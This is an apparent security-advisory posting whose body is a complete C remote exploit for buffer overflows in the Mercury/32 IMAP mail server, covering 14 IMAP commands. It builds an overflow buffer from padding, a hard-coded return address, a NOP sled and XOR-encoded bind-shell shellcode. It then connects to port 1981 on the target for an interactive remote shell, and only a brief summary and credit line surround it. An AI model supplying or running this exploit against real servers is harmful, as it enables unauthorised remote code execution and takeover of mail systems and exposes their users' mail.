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Mercury/32 Exploit Code (14 Targets)
------------------------------------------------------------------------
SUMMARY
<http://www.pmail.com/overviews/ovw_mercwin.htm> Mercury (or Mercury/32
as it is known) "runs on Windows 95, 98, NT4, 2000 or XP workstations and
provides mail services to a single computer or a local area network. In
addition the product has a full fledged IMAP4 server providing remote IMAP
access to your local mailboxes". More information can be found at:
<http://www.securiteam.com/exploits/6M0020AC0W.html> Mercury/32 RENAME and
SELECT Exploit Codes
The following exploit code is for Mercury/32's buffer overflows with 14
different targets (EXAMINE, SUBSCRIBE, STATUS, APPEND, CHECK, CLOSE,
EXPUNGE, FETCH, RENAME, DELETE, LIST, SEARCH, CREATE, UNSUBSCRIBE and
SELECT).
DETAILS
/** Remote Mercury32 Imap exploit [14 types of attacks] WOW!
** By: JohnH@secnetops.com
**
** Notes: Second public release and both of them are murcury32 ;)
** Again someone posted some dos code :( why bother?
** If you spent the time to look, it uses the same buffer for all 14
types of attacks and the size does not
** change. I did not check the asm but its prob using the same routine
for all 14 commands.
**
** Date: 12/01/04
**/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>
#define version "1.0"
int usage(char *p);
char sc_bind[] =
//decoder
"\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
//XOR with 0x96 (267 0x10B bytes)
"\x7E\xB2\x96\x96\x96\x22\xEB\x83\x0E\x5D\xD4\xE1\x2E\x4A\x4B\x8C"
"\xA5\x7F\x2D\x55\x38\x50\xBD\x2B\xB8\x48\xC1\xE4\x32\xB2\x24\xA4"
"\x96\x98\xCB\x5D\x48\xE2\xB4\xF5\x5E\xC9\xFC\xA6\xCD\xF2\x1D\x95"
"\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\xFC\x92\xCF\x7E\x12\x96"
"\x96\x96\x74\x6F\x23\x95\xBD\x77\xFE\xA5\xA4\x96\x96\xFE\xE1\xE5"
"\xA4\xC9\xC2\x69\xC1\x6E\x03\xFC\x93\xCF\x7E\xF1\x96\x96\x96\x74"
"\x6F\x1D\x61\xC7\xFE\x94\x96\x91\x2B\x1D\x7A\xC7\xC7\xC7\xC7\xFC"
"\x97\xFC\x94\x69\xC0\x66\x05\xFC\x86\xC3\xC5\x69\xC0\x62\xC6\xC5"
"\x69\xC0\x6E\x1D\x6A\xFC\x98\xCF\x3D\x74\x6B\xC6\xC6\xC5\x69\xC0"
"\x6A\x3D\x3D\x3D\xF0\x51\xD2\xB2\xBA\x97\x97\x1D\x42\xFE\xF5\xFB"
"\xF2\x96\x1D\x5A\xC5\xC6\xC1\xC4\xA5\x4D\xC5\xC5\xC5\xFC\x97\xC5"
"\xC5\xC7\xC5\x69\xC0\x76\xFC\x69\x69\xA1\x69\xC0\x4A\x69\xC0\x7A"
"\x69\xC0\x7A\x69\xC0\x7E\xC7\x1D\xE3\xAA\x1D\xE2\xB8\xEE\x95\x63"
"\xC0\x1D\xE0\xB6\x95\x63\xA5\x5F\xDF\xD7\x3B\x95\x53\xA5\x4D\xA5"
"\x44\x99\x28\x86\xAC\x40\xE2\x9E\x57\x5D\x8D\x95\x4C\xD6\x7D\x79"
"\xAD\x89\xE3\x73\xC8\x1D\xC8\xB2\x95\x4B\xF0\x1D\x9A\xDD\x1D\xC8"
"\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x3D\xCF\x55"
//decoder end sign
"\x45\x59\x34\x53";
int type;
int iPort=143;
char *ip=NULL;
char username[256];
char password[256];
int main(int argc, char **argv)
{
int c;
if(argc < 2)
{
usage(argv[0]);
return 0;
}
while((c = getopt(argc, argv, "u:P:h:p:t:")) != EOF) {
switch(c) {
case 'u':
strncpy(username, optarg, sizeof (username) - 1);
break;
case 'P':
strncpy(password, optarg, sizeof (password) - 1);
break;
case 'h':
ip=optarg;
break;
case 'p':
iPort=atoi(optarg);
break;
case 't':
type=atoi(optarg);
break;
default:
usage (argv[0]);
return 0;
}
}
if((!ip))
{
usage(argv[0]);
printf("[-] Invalid parameter.\n");
return 0;
}
SendExploit();
return 0;
}
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int SendExploit()
{
struct hostent *he;
struct in_addr in;
struct sockaddr_in peer;
int iErr, s,s2;
int x;
char buffer[9000];
char buffer2[9000];
char szRecvBuff[0x1000];
char *ip2=NULL;
printf( "MERCURY32 Imap exploit\n");
printf( "By: JohnH at secnetops\n");
printf("[+] Entering God Mode\n");
// Login
memset(buffer2,0x0,sizeof(buffer2));
strcat(buffer2,"a001 LOGIN ");
strcat(buffer2,username);
strcat(buffer2," ");
strcat(buffer2,password);
strcat(buffer2,"\n");
bzero (buffer,sizeof(buffer));
printf("[+] Using type: %d\n",type);
if (type == 0)
strcat(buffer,"a001 EXAMINE ");
else if(type == 1)
strcat(buffer,"a001 SUBSCRIBE ");
else if(type == 2)
strcat(buffer,"a001 STATUS ");
else if(type == 3)
strcat(buffer,"a001 APPEND ");
else if(type == 4)
strcat(buffer,"a001 CHECK ");
else if(type == 5)
strcat(buffer,"a001 CLOSE ");
else if(type == 6)
strcat(buffer,"a001 EXPUNGE ");
else if(type == 7)
strcat(buffer,"a001 FETCH ");
else if(type == 8)
strcat(buffer,"a001 RENAME ");
else if(type == 9)
strcat(buffer,"a001 DELETE ");
else if(type == 10)
strcat(buffer,"a001 LIST ");
else if(type == 11)
strcat(buffer,"a001 SEARCH ");
else if(type == 12)
strcat(buffer,"a001 CREATE ");
else if(type == 13)
strcat(buffer,"a001 UNSUBSCRIBE ");
else if(type == 14)
strcat(buffer,"a001 SELECT ");
x = strlen(buffer);
memset(buffer+x,0x41,260);
x+=260;
*(unsigned int *)&buffer[x] = 0x01f9c8fa;
x+=4;
memset(buffer+x,0x90,100);
x+=100;
memcpy (buffer+x, sc_bind, strlen(sc_bind));
x+=strlen(sc_bind);
memcpy(buffer+x,"\r\n",2);
x+=2;
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
peer.sin_family = AF_INET;
peer.sin_port = htons(iPort);
peer.sin_addr.s_addr = inet_addr(ip);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
perror("socket");
return(0);
}
if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) <
0)
{
perror("connect");
return(0);
}
printf("[+] connect to %s:%d success.\n", ip, iPort);
sleep(3);
memset(szRecvBuff, 0, sizeof(szRecvBuff));
iErr = send(s, buffer2, strlen(buffer2),0);
printf("[+] Sent: %d\n", iErr);
iErr = send(s, buffer, x,0);
printf("[+] Sent: %d\n", iErr);
printf("[+] Wait for shell.\n");
if (!(he = gethostbyname(ip)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
ip2 = in.s_addr;
sleep(5);
peer.sin_family = AF_INET;
peer.sin_port = htons(1981);
peer.sin_addr.s_addr = ip2;
s2 = socket(AF_INET, SOCK_STREAM, 0);
if (s2 < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in))
< 0)
{
perror("connect");
return(0);
}
printf ("[+] We got a shell \n");
shell(s2);
return 0;
}
int usage(char *p)
{
printf("MERCURY32 Imap Remote Exploit\n");
printf("By: JohnH@secnetops.com\n");
printf( "Usage: %s <-u username> <-p password> <-h host> <-p port> <-t
type>\n",p);
printf("Possible types: Look in source code too lazy to type out 14
types\n");
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:JohnH@secnetops.com> JohnH.
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